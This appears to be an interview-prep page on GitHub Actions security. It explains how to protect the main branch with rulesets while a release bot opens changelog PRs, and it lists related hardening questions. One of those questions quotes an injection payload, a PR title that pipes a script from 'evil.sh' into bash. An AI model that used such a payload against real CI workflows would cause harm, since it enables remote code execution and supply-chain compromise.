How do you stop workflows from pushing directly to `main` while still letting a release bot update the changelog?
IntermediateScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Branch protection vs automation.
What I'd do →
- Ruleset on
main: require PRs and status checks, block force pushes. - Release bot (GitHub App) opens a PR with the changelog (release-please model) rather than pushing.
- If direct push is essential, add only the App to the ruleset bypass list, never
GITHUB_TOKENbroadly.
Why → Rulesets support specific app bypass, keeping humans and normal workflows under protection.
Interview tip → Prefer "bot opens PR" over bypasses.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?Beginner